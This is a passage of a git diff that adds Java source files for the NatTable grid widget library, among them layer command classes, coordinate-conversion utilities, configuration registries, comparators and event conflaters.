columnPositionCoordinate : columnPositionCoordinates) { + ColumnPositionCoordinate convertedColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(columnPositionCoordinate, targetLayer); + if (convertedColumnPositionCoordinate != null) { + convertedColumnPositionCoordinates.add(convertedColumnPositionCoordinate); + } + } + + columnPositionCoordinates = convertedColumnPositionCoordinates; + + return columnPositionCoordinates.size() > 0; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiRowCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiRowCommand.java new file mode 100644 index 0000000..941fc6e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiRowCommand.java @@ -0,0 +1,50 @@ +package net.sourceforge.nattable.command; + +import java.util.Collection; +import java.util.HashSet; + +import net.sourceforge.nattable.coordinate.RowPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractMultiRowCommand implements ILayerCommand { + + private Collection rowPositionCoordinates; + + protected AbstractMultiRowCommand(ILayer layer, int...rowPositions) { + setRowPositions(layer, rowPositions); + } + + protected AbstractMultiRowCommand(AbstractMultiRowCommand command) { + this.rowPositionCoordinates = new HashSet(command.rowPositionCoordinates); + } + + public Collection getRowPositions() { + Collection rowPositions = new HashSet(); + for (RowPositionCoordinate rowPositionCoordinate : rowPositionCoordinates) { + rowPositions.add(Integer.valueOf(rowPositionCoordinate.rowPosition)); + } + return rowPositions; + } + + protected final void setRowPositions(ILayer layer, int...rowPositions) { + rowPositionCoordinates = new HashSet(); + for (int rowPosition : rowPositions) { + rowPositionCoordinates.add(new RowPositionCoordinate(layer, rowPosition)); + } + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + Collection convertedRowPositionCoordinates = new HashSet(); + for (RowPositionCoordinate rowPositionCoordinate : rowPositionCoordinates) { + RowPositionCoordinate convertedRowPositionCoordinate = LayerCommandUtil.convertRowPositionToTargetContext(rowPositionCoordinate, targetLayer); + if (convertedRowPositionCoordinate != null) { + convertedRowPositionCoordinates.add(convertedRowPositionCoordinate); + } + } + + rowPositionCoordinates = convertedRowPositionCoordinates; + + return rowPositionCoordinates.size() > 0; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractPositionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractPositionCommand.java new file mode 100644 index 0000000..4e57ee7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractPositionCommand.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractPositionCommand implements ILayerCommand { + + private PositionCoordinate positionCoordinate; + + protected AbstractPositionCommand(ILayer layer, int columnPosition, int rowPosition) { + positionCoordinate = new PositionCoordinate(layer, columnPosition, rowPosition); + } + + protected AbstractPositionCommand(AbstractPositionCommand command) { + this.positionCoordinate = command.positionCoordinate; + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + positionCoordinate = LayerCommandUtil.convertPositionToTargetContext(positionCoordinate, targetLayer); + return positionCoordinate != null; + } + + public int getColumnPosition() { + return positionCoordinate.getColumnPosition(); + } + + public int getRowPosition() { + return positionCoordinate.getRowPosition(); + } + + @Override + public String toString() { + return this.getClass().getSimpleName() + " columnPosition=" + positionCoordinate.getColumnPosition() + ", rowPosition=" + positionCoordinate.getRowPosition(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractRowCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractRowCommand.java new file mode 100644 index 0000000..e90b100 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractRowCommand.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.coordinate.RowPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractRowCommand implements ILayerCommand { + + private RowPositionCoordinate rowPositionCoordinate; + + protected AbstractRowCommand(ILayer layer, int rowPosition) { + rowPositionCoordinate = new RowPositionCoordinate(layer, rowPosition); + } + + protected AbstractRowCommand(AbstractRowCommand command) { + this.rowPositionCoordinate = command.rowPositionCoordinate; + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + rowPositionCoordinate = LayerCommandUtil.convertRowPositionToTargetContext(rowPositionCoordinate, targetLayer); + return rowPositionCoordinate != null; + } + + public int getRowPosition() { + return rowPositionCoordinate.getRowPosition(); + } + + @Override + public String toString() { + return this.getClass().getSimpleName() + " rowPosition=" + rowPositionCoordinate.getRowPosition(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/DisposeResourcesCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/DisposeResourcesCommand.java new file mode 100644 index 0000000..8bc27e4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/DisposeResourcesCommand.java @@ -0,0 +1,13 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.NatTable; + +/** + * Command fired by {@link NatTable} just before it is disposed.
    + * This command can be handled by layers which need to dispose resources (to avoid memory leaks).
    + * + * @see GlazedListsEventLayer + */ +public class DisposeResourcesCommand extends AbstractContextFreeCommand { + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommand.java new file mode 100644 index 0000000..0950442 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommand.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Commands are fired by NatTable in response to user actions. + * Commands flow down the layer stack until they are processed by an + * {@link ILayer} or an associated {@link ILayerCommandHandler}. + * Commands can be fired from code by invoking {@link NatTable#doCommand(ILayerCommand)} + */ +public interface ILayerCommand { + + /** + * Convert the row/column coordinates the command might be carrying from the source layer + * to the destination (target) layer.
    + * + * @return true if the command is valid after conversion, false if the command is no longer valid. + * Note: most commands are not processed if they fail conversion. + */ + public boolean convertToTargetLayer(ILayer targetLayer); + + /** + * Same semantics as {@link Object#clone()} + * Used to make a copies of the command if has to passed to different layer stacks. + * + * @see GridLayer#doCommand(ILayerCommand) + */ + public ILayerCommand cloneCommand(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommandHandler.java new file mode 100644 index 0000000..a951cf8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/ILayerCommandHandler.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.layer.ILayer; + +public interface ILayerCommandHandler { + + public Class getCommandClass(); + + /** + * @param command + * @return true if the command has been handled, false otherwise + */ + public boolean doCommand(ILayer targetLayer, T command); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/LayerCommandUtil.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/LayerCommandUtil.java new file mode 100644 index 0000000..0a9f548 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/LayerCommandUtil.java @@ -0,0 +1,97 @@ +package net.sourceforge.nattable.command; + +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.coordinate.RowPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class LayerCommandUtil { + + public static PositionCoordinate convertPositionToTargetContext(PositionCoordinate positionCoordinate, ILayer targetLayer) { + ILayer layer = positionCoordinate.getLayer(); + + if (layer == targetLayer) { + return positionCoordinate; + } + + int columnPosition = positionCoordinate.getColumnPosition(); + int underlyingColumnPosition = layer.localToUnderlyingColumnPosition(columnPosition); + if (underlyingColumnPosition < 0) { + return null; + } + + int rowPosition = positionCoordinate.getRowPosition(); + int underlyingRowPosition = layer.localToUnderlyingRowPosition(rowPosition); + if (underlyingRowPosition < 0) { + return null; + } + + ILayer underlyingLayer = layer.getUnderlyingLayerByPosition(columnPosition, rowPosition); + if (underlyingLayer == null) { + return null; + } + + return convertPositionToTargetContext(new PositionCoordinate(underlyingLayer, underlyingColumnPosition, underlyingRowPosition), targetLayer); + } + + public static ColumnPositionCoordinate convertColumnPositionToTargetContext(ColumnPositionCoordinate columnPositionCoordinate, ILayer targetLayer) { + if (columnPositionCoordinate != null) { + ILayer layer = columnPositionCoordinate.getLayer(); + + if (layer == targetLayer) { + return columnPositionCoordinate; + } + + int columnPosition = columnPositionCoordinate.getColumnPosition(); + int underlyingColumnPosition = layer.localToUnderlyingColumnPosition(columnPosition); + if (underlyingColumnPosition < 0) { + return null; + } + + Collection underlyingLayers = layer.getUnderlyingLayersByColumnPosition(columnPosition); + if (underlyingLayers != null) { + for (ILayer underlyingLayer : underlyingLayers) { + if (underlyingLayer != null) { + ColumnPositionCoordinate convertedColumnPositionCoordinate = convertColumnPositionToTargetContext(new ColumnPositionCoordinate(underlyingLayer, underlyingColumnPosition), targetLayer); + if (convertedColumnPositionCoordinate != null) { + return convertedColumnPositionCoordinate; + } + } + } + } + } + return null; + } + + public static RowPositionCoordinate convertRowPositionToTargetContext(RowPositionCoordinate rowPositionCoordinate, ILayer targetLayer) { + if (rowPositionCoordinate != null) { + ILayer layer = rowPositionCoordinate.getLayer(); + + if (layer == targetLayer) { + return rowPositionCoordinate; + } + + int rowPosition = rowPositionCoordinate.getRowPosition(); + int underlyingRowPosition = layer.localToUnderlyingRowPosition(rowPosition); + if (underlyingRowPosition < 0) { + return null; + } + + Collection underlyingLayers = layer.getUnderlyingLayersByRowPosition(rowPosition); + if (underlyingLayers != null) { + for (ILayer underlyingLayer : underlyingLayers) { + if (underlyingLayer != null) { + RowPositionCoordinate convertedRowPositionCoordinate = convertRowPositionToTargetContext(new RowPositionCoordinate(underlyingLayer, underlyingRowPosition), targetLayer); + if (convertedRowPositionCoordinate != null) { + return convertedRowPositionCoordinate; + } + } + } + } + } + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractLayerConfiguration.java new file mode 100644 index 0000000..855dd3f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractLayerConfiguration.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; + +/** + * Casts the layer to be to the type parameter for convenience. + * @param type of the layer being configured + */ +public abstract class AbstractLayerConfiguration implements IConfiguration { + + @SuppressWarnings("unchecked") + public void configureLayer(ILayer layer) { + configureTypedLayer((L) layer); + } + + public abstract void configureTypedLayer(L layer); + + public void configureRegistry(IConfigRegistry configRegistry) {} + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) {} + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractRegistryConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractRegistryConfiguration.java new file mode 100644 index 0000000..56bf276 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractRegistryConfiguration.java @@ -0,0 +1,12 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; + +public abstract class AbstractRegistryConfiguration implements IConfiguration { + + public void configureLayer(ILayer layer) {} + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) {} + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractUiBindingConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractUiBindingConfiguration.java new file mode 100644 index 0000000..1aa369d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AbstractUiBindingConfiguration.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractUiBindingConfiguration implements IConfiguration { + + public void configureLayer(ILayer layer) {} + + public void configureRegistry(IConfigRegistry configRegistry) {} + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AggregateConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AggregateConfiguration.java new file mode 100644 index 0000000..263e048 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/AggregateConfiguration.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.config; + +import java.util.Collection; +import java.util.LinkedList; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; + +/** + * Aggregates {@link IConfiguration} objects and invokes configure methods on all its members. + */ +public class AggregateConfiguration implements IConfiguration { + + private final Collection configurations = new LinkedList(); + + public void addConfiguration(IConfiguration configuration) { + configurations.add(configuration); + } + + public void configureLayer(ILayer layer) { + for (IConfiguration configuration : configurations) { + configuration.configureLayer(layer); + } + } + + public void configureRegistry(IConfigRegistry configRegistry) { + for (IConfiguration configuration : configurations) { + configuration.configureRegistry(configRegistry); + } + } + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + for (IConfiguration configuration : configurations) { + configuration.configureUiBindings(uiBindingRegistry); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/CellConfigAttributes.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/CellConfigAttributes.java new file mode 100644 index 0000000..4934848 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/CellConfigAttributes.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.style.ConfigAttribute; +import net.sourceforge.nattable.style.IStyle; + +public interface CellConfigAttributes { + + public static final ConfigAttribute CELL_PAINTER = new ConfigAttribute(); + + public static final ConfigAttribute CELL_STYLE = new ConfigAttribute(); + + public static final ConfigAttribute DISPLAY_CONVERTER = new ConfigAttribute(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/ConfigRegistry.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/ConfigRegistry.java new file mode 100644 index 0000000..79e4966 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/ConfigRegistry.java @@ -0,0 +1,118 @@ +package net.sourceforge.nattable.config; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.sourceforge.nattable.style.ConfigAttribute; +import net.sourceforge.nattable.style.DefaultDisplayModeOrdering; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IDisplayModeOrdering; + +public class ConfigRegistry implements IConfigRegistry { + + // Map>> + Map, Map>> configRegistry = new HashMap, Map>>(); + + public T getConfigAttribute(ConfigAttribute configAttribute, String targetDisplayMode, String...configLabels) { + return getConfigAttribute(configAttribute, targetDisplayMode, Arrays.asList(configLabels)); + } + + @SuppressWarnings("unchecked") + public T getConfigAttribute(ConfigAttribute configAttribute, String targetDisplayMode, List configLabels) { + T attributeValue = null; + + Map> displayModeConfigAttributeMap = configRegistry.get(configAttribute); + if (displayModeConfigAttributeMap != null) { + for (String displayMode : displayModeOrdering.getDisplayModeOrdering(targetDisplayMode)) { + Map configAttributeMap = (Map) displayModeConfigAttributeMap.get(displayMode); + if (configAttributeMap != null) { + for (String configLabel : configLabels) { + attributeValue = configAttributeMap.get(configLabel); + if (attributeValue != null) { + return attributeValue; + } + } + + // default config type + attributeValue = configAttributeMap.get(null); + if (attributeValue != null) { + return attributeValue; + } + } + } + } + + return attributeValue; + } + + @SuppressWarnings("unchecked") + public T getSpecificConfigAttribute(ConfigAttribute configAttribute, String displayMode, String configLabel) { + T attributeValue = null; + + Map> displayModeConfigAttributeMap = configRegistry.get(configAttribute); + if (displayModeConfigAttributeMap != null) { + Map configAttributeMap = (Map) displayModeConfigAttributeMap.get(displayMode); + if (configAttributeMap != null) { + attributeValue = configAttributeMap.get(configLabel); + if (attributeValue != null) { + return attributeValue; + } + } + } + + return attributeValue; + } + + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue) { + registerConfigAttribute(configAttribute, attributeValue, DisplayMode.NORMAL); + } + + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue, String displayMode) { + registerConfigAttribute(configAttribute, attributeValue, displayMode, null); + } + + @SuppressWarnings("unchecked") + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue, String displayMode, String configLabel) { + Map> displayModeConfigAttributeMap = configRegistry.get(configAttribute); + if (displayModeConfigAttributeMap == null) { + displayModeConfigAttributeMap = new HashMap>(); + configRegistry.put(configAttribute, displayModeConfigAttributeMap); + } + + Map configAttributeMap = (Map) displayModeConfigAttributeMap.get(displayMode); + if (configAttributeMap == null) { + configAttributeMap = new HashMap(); + displayModeConfigAttributeMap.put(displayMode, configAttributeMap); + } + + configAttributeMap.put(configLabel, attributeValue); + }; + + @SuppressWarnings("unchecked") + public void unregisterConfigAttribute(Class configAttributeType, String displayMode, String configLabel) { + Map> displayModeConfigAttributeMap = configRegistry.get(configAttributeType); + if (displayModeConfigAttributeMap != null) { + Map configAttributeMap = (Map) displayModeConfigAttributeMap.get(displayMode); + if (configAttributeMap != null) { + configAttributeMap.remove(configLabel); + } + } + } + + // Display mode ordering ////////////////////////////////////////////////// + + IDisplayModeOrdering displayModeOrdering = new DefaultDisplayModeOrdering(); + + public IDisplayModeOrdering getDisplayModeOrdering() { + return displayModeOrdering; + } + + public void setDisplayModeOrdering(IDisplayModeOrdering displayModeOrdering) { + this.displayModeOrdering = displayModeOrdering; + } + + // Private methods + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultComparator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultComparator.java new file mode 100644 index 0000000..89c0ad0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultComparator.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.config; + +import java.util.Comparator; + +@SuppressWarnings("unchecked") +public class DefaultComparator implements Comparator { + + private static DefaultComparator singleton; + + public static final DefaultComparator getInstance() { + if (singleton == null) { + singleton = new DefaultComparator(); + } + return singleton; + } + + public int compare(final Object o1, final Object o2) { + if (o1 == null) { + if (o2 == null) { + return 0; + } else { + return -1; + } + } else if (o2 == null) { + return 1; + } else if (o1 instanceof Comparable && o2 instanceof Comparable) { + return ((Comparable) o1).compareTo((Comparable) o2); + } else { + return 0; + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultEditableRule.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultEditableRule.java new file mode 100644 index 0000000..981211c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultEditableRule.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.config; + +public class DefaultEditableRule implements IEditableRule { + + private boolean defaultEditable; + + public DefaultEditableRule(boolean defaultEditable) { + this.defaultEditable = defaultEditable; + } + + public boolean isEditable(int columnIndex, int rowIndex) { + return defaultEditable; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultNatTableStyleConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultNatTableStyleConfiguration.java new file mode 100644 index 0000000..780df24 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/DefaultNatTableStyleConfiguration.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.data.convert.DefaultDisplayConverter; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.painter.cell.decorator.LineBorderDecorator; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.VerticalAlignmentEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; + +public class DefaultNatTableStyleConfiguration extends AbstractRegistryConfiguration { + + public Color bgColor = GUIHelper.COLOR_WHITE; + public Color fgColor = GUIHelper.COLOR_BLACK; + public Font font = GUIHelper.DEFAULT_FONT; + public HorizontalAlignmentEnum hAlign = HorizontalAlignmentEnum.CENTER; + public VerticalAlignmentEnum vAlign = VerticalAlignmentEnum.MIDDLE; + public BorderStyle borderStyle = null; + + public ICellPainter cellPainter = new LineBorderDecorator(new TextPainter()); + + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter); + + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, bgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, fgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, font); + cellStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + cellStyle.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle); + + configRegistry.registerConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, new DefaultDisplayConverter()); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfigRegistry.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfigRegistry.java new file mode 100644 index 0000000..f8c6457 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfigRegistry.java @@ -0,0 +1,70 @@ +package net.sourceforge.nattable.config; + +import java.util.List; + +import net.sourceforge.nattable.style.ConfigAttribute; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.IDisplayModeOrdering; + +/** + * Holds all the settings, bindings and other configuration for NatTable.
    + * + * @see ConfigRegistry + * @see ConfigRegistryTest for a better understanding + */ +public interface IConfigRegistry { + + /** + * If retrieving registered values
    + * Example 1:
    + * configRegistry.getConfigAttribute(attribute, DisplayMode.EDIT);
    + *
      + *
    1. It will look for an attribute registered using the EDIT display mode
    2. + *
    3. If it can't find that it will try and find an attribute under the NORMAL mode
    4. + *
    5. If it can't find one it will try and find one registered without a display mode {@link #registerConfigAttribute(ConfigAttribute, Object)}
    6. + *
    + * Example 2:
    + * configRegistry.getConfigAttribute(attribute, DisplayMode.NORMAL, "testLabel", "testLabel_1");
    + *
      + *
    1. It will look for an attribute registered by display mode NORMAL and "testLabel"
    2. + *
    3. It will look for an attribute registered by display mode NORMAL and "testLabel_1"
    4. + *
    + * @param Type of the attribute + * @param configAttribute to be registered + * @param targetDisplayMode display mode the cell needs to be in, for this attribute to be returned + * @param configLabels the cell needs to have, for this attribute to be returned + * @return the configAttribute, if the display mode and the configLabels match + */ + public T getConfigAttribute(ConfigAttribute configAttribute, String targetDisplayMode, String...configLabels); + + /** + * @see #getConfigAttribute(ConfigAttribute, String, String...) + */ + public T getConfigAttribute(ConfigAttribute configAttribute, String targetDisplayMode, List configLabels); + + /** + * @see #getConfigAttribute(ConfigAttribute, String, String...) + */ + public T getSpecificConfigAttribute(ConfigAttribute configAttribute, String displayMode, String configLabel); + + + /** + * Register a configuration attribute + */ + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue); + + /** + * Register an attribute against a {@link DisplayMode}. + */ + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue, String targetDisplayMode); + + /** + * Register an attribute against a {@link DisplayMode} and configuration label (applied to cells) + */ + public void registerConfigAttribute(ConfigAttribute configAttribute, T attributeValue, String targetDisplayMode, String configLabel); + + public void unregisterConfigAttribute(Class configAttributeType, String displayMode, String configLabel); + + public IDisplayModeOrdering getDisplayModeOrdering(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfiguration.java new file mode 100644 index 0000000..ea76828 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IConfiguration.java @@ -0,0 +1,34 @@ +package net.sourceforge.nattable.config; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.data.validate.IDataValidator; +import net.sourceforge.nattable.layer.AbstractLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; + +/** + * Configurations can be added to NatTable/ILayer to modify default behavior. + * These will be processed when {@link NatTable#configure()} is invoked. + * + * Default configurations are added to most layers {@link AbstractLayer#addConfiguration()}. + * You can turn off default configuration for an {@link ILayer} by setting auto configure to false + * in the constructor. + */ +public interface IConfiguration { + + public void configureLayer(ILayer layer); + + /** + * Configure NatTable's {@link IConfigRegistry} upon receiving this call back. + * A mechanism to plug-in custom {@link ICellPainter}, {@link IDataValidator} etc. + */ + public void configureRegistry(IConfigRegistry configRegistry); + + /** + * Configure NatTable's {@link IConfigRegistry} upon receiving this call back + * A mechanism to customize key/mouse bindings. + */ + public void configureUiBindings(UiBindingRegistry uiBindingRegistry); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IEditableRule.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IEditableRule.java new file mode 100644 index 0000000..3ec4fe1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/IEditableRule.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.config; + +public interface IEditableRule { + + public boolean isEditable(int columnIndex, int rowIndex); + + public static final IEditableRule ALWAYS_EDITABLE = new IEditableRule() { + + public boolean isEditable(int columnIndex, int rowIndex) { + return true; + } + + }; + + public static final IEditableRule NEVER_EDITABLE = new IEditableRule() { + + public boolean isEditable(int columnIndex, int rowIndex) { + return false; + } + + }; + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/NullComparator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/NullComparator.java new file mode 100644 index 0000000..5331524 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/config/NullComparator.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.config; + +import java.io.Serializable; +import java.util.Comparator; + +/** + * GlazedLists require that the comparator be set to 'null' if a column is not sortable.
    + * If a null value is set in the {@link IConfigRegistry} it will attempt to find
    + * other matching values.
    + * This comparator can be set in the {@link ConfigRegistry} to indicate that the column can not be sorted. + * + * @see SortableGridExample + */ +public class NullComparator implements Comparator, Serializable { + + private static final long serialVersionUID = -6945858872109267371L; + + public int compare(Object o1, Object o2) { + return 0; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/AbstractEventConflater.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/AbstractEventConflater.java new file mode 100644 index 0000000..71b0724 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/AbstractEventConflater.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.conflation; + +import java.util.LinkedList; +import java.util.List; + +import net.sourceforge.nattable.layer.event.ILayerEvent; + +public abstract class AbstractEventConflater implements IEventConflater { + + protected List queue = new LinkedList(); + + public void addEvent(ILayerEvent event){ + queue.add(event); + } + + public void clearQueue() { + queue.clear(); + } + + public int getCount() { + return queue.size(); + } + + public abstract Runnable getConflaterTask(); +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/EventConflaterChain.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/EventConflaterChain.java new file mode 100644 index 0000000..a69aa8f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/EventConflaterChain.java @@ -0,0 +1,84 @@ +package net.sourceforge.nattable.conflation; + +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import net.sourceforge.nattable.layer.event.ILayerEvent; + +/** + * A Chain of Conflaters. Every conflater in the chain is given the chance to + * queue an event. When the chain runs every conflater in the chain can run its + * own task to handle the events as it sees fit. + */ +public class EventConflaterChain implements IEventConflater { + + public static final int DEFAULT_INITIAL_DELAY = 100; + public static final int DEFAULT_REFRESH_INTERVAL = 100; + + private final List chain = new LinkedList(); + private boolean started; + private final long refreshInterval; + private final long initialDelay; + private ScheduledExecutorService scheduler; + + public EventConflaterChain() { + this(DEFAULT_REFRESH_INTERVAL, DEFAULT_INITIAL_DELAY); + } + + public 